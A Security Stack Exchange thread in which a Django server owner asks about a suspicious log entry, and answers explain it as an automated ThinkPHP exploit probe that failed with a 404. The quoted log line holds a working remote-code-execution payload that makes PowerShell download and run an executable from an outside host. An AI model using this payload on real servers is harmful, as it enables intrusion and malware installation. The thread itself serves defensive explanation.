11

I have a Django application running on a Digital Ocean Ubuntu server. I am using NGINX and Daphne to serve the application because I am using Django Channels.

My websockets keep crashing, and I noticed in the logs when the crash occurs, this message:

127.0.0.1:46138 - - [11/May/2021:14:03:33] "GET /public/index.php?s=index/think\ap p/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20 /c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hog noob.se/download.exe','%SystemRoot%/Temp/nagagewrehutkiz561.exe');start%20%SystemR oot%/Temp/nagagewrehutkiz561.exe" 404 2111

It looks very suspicious to me, but my knowledge of security is minimal. Can anyone help me determine if this is something I should be concerned about?

The fact that it is a GET request that I did not submit (nobody else is using this server currently) But perhaps it is something automatically submitted by my browser?

schroeder
  • 123,438
  • 55
  • 284
  • 319
MattG
  • 213
  • 2
  • 5
  • 5
    127.0.0.1 means the process issuing the request runs on YOUR server. – fraxinus May 12 '21 at 05:41
  • 9
    Isn't that just because he uses Nginx as a proxy that then calls Daphne? – Karl-Johan Sjögren May 12 '21 at 08:34
  • I was also thinking this. I went to my NGINX logs and saw the same requests, along with many others that looked equally malicious. – MattG May 12 '21 at 09:40
  • Related: https://security.stackexchange.com/questions/82596/why-am-i-getting-strange-http-requests-for-non-existing-pages and https://security.stackexchange.com/questions/40291/strange-requests-to-web-server?rq=1 – mti2935 May 12 '21 at 12:06
  • How exactly is the websocket crashing? And why would it be affected by an independent GET request? – Bergi May 13 '21 at 04:08
  • After further inspection I am not sure if this is what is causing the crash, possibly a coincidence. I am using channels-redis to handle websocket connections and am still troubleshooting. – MattG May 13 '21 at 15:36
  • Its an attempt to exploit a ThinkPHP vulnerability. – john doe May 13 '21 at 18:54
  • Like @johndoe said this is a ThinkPHP exploit targeting a specific module. This has been around for quite some time (CVE-2018-20062). – x43 Jun 03 '21 at 21:15

3 Answers3

39

Can anyone help me determine if this is something I should be concerned about?

Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot% indicates this exploit is intended to a Windows server.

It shows your server returning HTTP 404, with 2111 bytes on the response (those last 2 values on your log). That means your server does not have the vulnerable /public/index.php file, so no damage was done on this case.

Your websocket probably is dying because you aren't properly processing unexpected input, and this is a MASSIVE SECURITY ISSUE (bold capitals because I cannot use blinking red text font). Failing to detect malformed input and reacting to that is the source of countless exploits.

If you don't know much about security, you can be sure that your server will be hacked sooner or later. Take your server offline, install a Linux VM on your desktop, and train on your VM first. Read articles on Linux hardening, on securing Nginx and Django, on secure coding. Your server can be a threat to anyone on the internet as soon as someone hacks it and turns it into a hacking platform to launch attacks.

nobody else is using this server currently

As soon as your server is reachable from the internet, that statement is not true anymore.

ThoriumBR
  • 50,648
  • 13
  • 127
  • 142
  • 8
    Just to emphasise that there are bots out there that step through, trying every address (IPv4, anyway,) with a series of 'bad' requests to see if there's a vulnerable server at that address - it's purely a 'for addr = 1 to max-address' approach and you can't rely on no-one knowing your servers address to keep it safe once it's online. – Gwyn Evans May 13 '21 at 08:34
  • 2
    The server may be handling unexpected input by erroring out. And that error is not being caught by the developer, thus crashing the websockets. A denial of service risk but no remote code execution. – Nathan Goings May 13 '21 at 14:50
  • 1
    @NathanGoings improper input validation is a massive risk. A DoS vulnerability can turn to a code execution in lots of scenarios. – ThoriumBR May 13 '21 at 16:37
  • @ThoriumBR, Correct. I'm simply offering an alternative claim from a development perspective. Django performs user input sanitization, and OPs example doesn't indicate any input escaping—based on his OS and framework. Thus, the most likely issue is failure to trap an exception relating to invalid input. Whether it leads to remote code execution is unknowable—as OP may be validating his input but not trapping (catching) the validation failures. – Nathan Goings May 13 '21 at 17:49
  • 1
    Its an attempt to exploit a ThinkPHP vulnerability. – john doe May 13 '21 at 18:53
1

If this GET request is coming from your browser then you may be subject of a man in the browser attack or some malicious javascript has been attached to your browser that will try to exploit everything that finds valuable in this case your application. By looking at the request I am assuming that is trying to exploit some vulnerability and trying to open command prompt (cmd/powershell) and download and some kind of executable, probably malware. If these requests are not coming from you or your browser probably there is a bot out there that is just using some dorks to find vulnerable parameters on various websites and try to exploit them automatically.

Community
  • 1
mrSotirow
  • 152
  • 1
  • 3
0

Somewhere out there in the universe is a piece of software which can be exploited by this GET request.

Somewhere out there in the universe is a person who would like to exploit this software, so they send this GET request to as many different web servers as possible. They don't research whether the server has the software installed or not. They just try it and see if it works or not.

You do not have that software installed on your server. So the intended exploit does not work on your server. However, your server does have a bug which causes it to "crash your websockets". You should fix that bug.

user253751
  • 3,885
  • 3
  • 19
  • 15
  • I'm not sure what this answer adds that is not already covered by the accepted answer, only more completely. – schroeder May 15 '21 at 14:56
  • @schroeder I believe the accepted answer is not very clear that receiving this request does not necessarily indicate your server has a vulnerability, or why your server would get these kinds of requests, especially if you are someone who does not already know the answer. – user253751 May 15 '21 at 19:37
  • I think that it is very clear and explicit, including details, that the server does not have the vulnerability. The comments to that and the other answer go into the "why". I'm really not sure this answer adds anything. – schroeder May 15 '21 at 19:55